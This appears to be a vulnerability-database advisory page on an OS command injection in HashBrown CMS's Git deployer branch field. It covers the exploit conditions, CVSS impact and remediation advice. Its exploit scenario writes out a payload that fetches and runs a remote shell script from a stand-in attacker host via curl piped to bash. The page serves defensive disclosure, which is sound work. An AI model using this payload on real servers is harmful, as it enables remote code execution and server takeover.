Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to HashBrown CMS with low-privilege account
-
DeliveryAccess target project Git deployer configuration
-
ExploitSet branch field to 'master;<payload>#' bypassing single-quote filter
-
InstallSave configuration (no immediate execution)
-
C2Any user triggers a deployer operation (media upload or content save)
-
ExecutepullRepo() executes unescaped git checkout shell command
-
ImpactInjected OS command runs as web server process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid HashBrown CMS user account with sufficient project-level permissions to read and modify a project's Git deployer configuration, specifically the branch field in the deployer settings panel. The Git deployer integration must be configured and active for at least one project - projects using other deployer types or no deployer are not affected. After planting the payload, the attacker need not take any further action; any subsequent deployer operation triggered by any user (including administrators) will invoke pullRepo() and execute the injected command. Exploitation is concretely limited by: (1) the attacker must possess valid CMS credentials with project configuration rights, ruling out unauthenticated external attackers; (2) the target project must actively use the Git deployer; (3) the injectable characters are limited to metacharacters other than single-quote - payloads cannot use single-quote characters as they are blocked by GitDeployer.validate(), so command strings relying on single-quoted shell arguments must use alternative quoting or encoding. |
| Impact | The CVSS 3.1 score of 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately represents the technical severity: the attack is network-reachable, requires no complex conditions, and yields full confidentiality, integrity, and availability impact on the server. The primary real-world risk limiter is PR:L - exploitation requires a valid authenticated CMS account with the ability to modify project-level Git deployer settings, which is not a capability granted to the lowest-privilege users in a well-administered deployment. No EPSS score was provided in the available data, preventing quantitative exploitation probability assessment. The vulnerability carries no CISA KEV listing, and no public exploit code has been identified, suggesting it has not yet been widely weaponized despite being reported by TuranSec with an advisory. Risk is materially elevated in multi-tenant CMS environments or SaaS deployments where editor-level users control deployer configuration, and substantially lower in tightly access-controlled single-tenant installations. The persistence of the payload - executing on every future deployer operation by any user - amplifies impact compared to single-shot injection vulnerabilities. The clear lineage to CVE-2020-6948 demonstrates that this code has been targeted before, increasing the credibility of future exploit development. |
| Exploit ScenarioDerived | An authenticated CMS user with project configuration access navigates to the Git deployer settings and sets the branch field to a value such as master;curl http://attacker.example/shell.sh|bash - the trailing hash comments out any trailing git arguments, preventing parse errors. On the next deployer operation triggered by any user action such as a media upload or content publish, HashBrown CMS invokes git checkout master;curl http://attacker.example/shell.sh|bashas a shell command, executing the injected payload with the privileges of the web server process. No public exploit code has been identified, but the injection requires no special tooling - a standard browser, CMS credentials, and knowledge of the branch field location are sufficient. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 05, 2026
OS command injection in HashBrown CMS through version 1.4.6 allows any authenticated user with project configuration access to execute arbitrary OS commands on the server by embedding shell metacharacters in the Git deployer's branch field - an attack surface left exposed by the incomplete remediation of CVE-2020-6948, which fixed single-quote injection in git clone fields but not the branch parameter in the git checkout invocation. GitDeployer.validate() blocks only single-quote characters, leaving semicolons, pipes, ampersands, backticks, and command substitution syntax freely injectable; once planted, the malicious branch value fires automatically on every subsequent deployer operation (media upload, content save) without further attacker interaction. No public exploit code or confirmed active exploitation has been identified at time of analysis, but the attack is mechanistically trivial given the complete absence of metacharacter filtering.
RemediationAI
No vendor-released patched version has been identified at time of analysis. The TuranSec advisory at https://cve.turansec.uz/advisories/TRN-B571F773 and the upstream repository at https://github.com/HashBrownCMS/hashbrown-cms should be monitored for patch releases. Until a fix is available, the most effective compensating control is to restrict Git deployer configuration access exclusively to fully trusted administrators via role and permission settings, preventing editor-level or untrusted users from modifying the branch field. If the Git deployer feature is not actively required, disabling it entirely eliminates the attack surface with no functional impact for non-Git workflows. For deployments where Git deployment is necessary, a custom server-side allowlist validating the branch field against a strict regex (e.g., permitting only alphanumeric characters, hyphens, forward slashes, and underscores) can be applied as a code-level patch to GitDeployer.validate() - note this may reject legitimate branch names containing dots or other special characters and requires careful testing. Shell-quoting the branch interpolation (wrapping in single quotes and escaping any embedded single quotes) in the AppService.exec call is the correct structural fix, consistent with the approach applied to other fields in CVE-2020-6948.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
HashBrown CMS is an open-source headless CMS whose Git deployer component synchronizes content to remote repositories. The vulnerability resides in src/Server/Entity/Deployer/GitDeployer.js within the pullRepo() function, which constructs a shell command via JavaScript template literal interpolation: AppService.exec(git checkout ${this.branch || 'master'}). Because this.branch originates from user-controlled project configuration and is embedded without quoting or escaping into a shell invocation, CWE-78 (Improper Neutralization of Special Elements Used in an OS Command) applies directly. The validate() method provides a false sense of security: it blocks the single-quote character in repo, branch, username, and password fields, but this allowlist-by-exclusion approach misses the full shell metacharacter set. This is a lineage vulnerability - CVE-2020-6948 previously addressed single-quote injection in the same file's git clone call for the repo, username, and password fields; the branch field in the git checkout command was architecturally identical but not covered, leaving the injection surface intact. The CPE cpe:2.3:a:hashbrowncms:hashbrown-cms:*:*:*:*:*:*:*:* confirms all hashbrown-cms releases up to and including 1.4.6 are affected.
Know when Hashbrown Cms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
PR:L reflects the requirement for a valid CMS account with project configuration rights; AV:N for the web-accessible application; S:U as impact is contained to the server process running HashBrown CMS.
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
Lifecycle Timeline
3DescriptionCVE.org
HashBrown CMS through 1.4.6 contains an OS Command Injection vulnerability (CWE-78) in the Git deployer component. GitDeployer.pullRepo() in src/Server/Entity/Deployer/GitDeployer.js executes AppService.exec(git checkout ${this.branch || 'master'}), interpolating the configured branch value directly into a shell command with no escaping. GitDeployer.validate() only rejects a single-quote character in the repo, branch, username, and password fields; shell metacharacters such as ';', '&&', '|', backticks, and '$()' are not filtered. A user able to configure a project's Git deployer settings can set a malicious branch value (e.g. 'master;<command>#') that executes automatically on every subsequent deployer operation (media upload, content save, etc.), since pullRepo() is invoked unconditionally at the start of each such operation. This is related to CVE-2020-6948, which addressed single-quote escaping of the repo, username, and password fields in the same file's git clone invocation; the branch field used in the unquoted git checkout command was not covered by that fix and remains injectable.
Executive ViewAI
HashBrown CMS through version 1.4.6 is vulnerable to OS command injection affecting any authenticated user with project configuration access, who can execute arbitrary operating system commands on the hosting server. This exposes organizations to complete server compromise and data theft through internal user threats or accounts compromised by external attackers. Organizations deploying HashBrown CMS must immediately restrict access and await a vendor security patch.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict Git deployer and project configuration access to minimal trusted administrators; (2) Enable comprehensive audit logging for all deployment operations with real-time alerting on configuration changes; (3) Implement network segmentation to isolate HashBrown CMS instances; (4) Monitor deployment logs for exploitation indicators including shell metacharacters in branch field values.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Hashbrown Cms
View allA remote code execution issue was discovered in HashBrown CMS through 1.3.3. Rated critical severity (CVSS 9.8), this vu
A privilege escalation issue was discovered in the postUser function in HashBrown CMS through 1.3.3. Rated high severity
OS command injection in HashBrown CMS through version 1.4.6 enables any authenticated user holding media resource scope
An issue was discovered in HashBrown CMS before 1.3.2. Rated high severity (CVSS 7.5), this vulnerability is remotely ex
EUVD-2026-53098
GHSA-h9gr-58w4-64cq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB